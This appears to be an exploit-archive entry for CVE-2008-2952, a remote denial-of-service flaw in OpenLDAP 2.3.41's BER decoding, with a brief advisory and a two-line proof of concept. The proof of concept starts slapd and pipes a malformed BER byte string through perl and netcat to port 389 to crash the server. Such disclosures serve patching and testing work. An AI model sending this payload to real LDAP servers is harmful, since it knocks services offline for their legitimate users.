OpenLDAP 2.3.41 - BER Decoding Remote Denial of Service



EKU-ID: 36936 CVE: CVE-2008-2952;OSVDB-46689 OSVDB-ID:
Author: Cameron Hotchkies Published: 2008-06-30 Verified: Verified
Download:

Rating

☆☆☆☆☆
Home 


source: https://www.securityfocus.com/bid/30013/info

OpenLDAP is prone to a remote denial-of-service vulnerability.

Attackers can exploit this issue to deny service to legitimate users by crashing affected servers.

OpenLDAP 2.3.41 is vulnerable to this issue; earlier versions back to approximately 2.1.18 as well as newer versions may also be affected.

slapd -h ldap:// -d511 &
perl -e 'print "\xff\xff\xff\x00\x84\x41\x42\x43\x44"' | nc localhost 389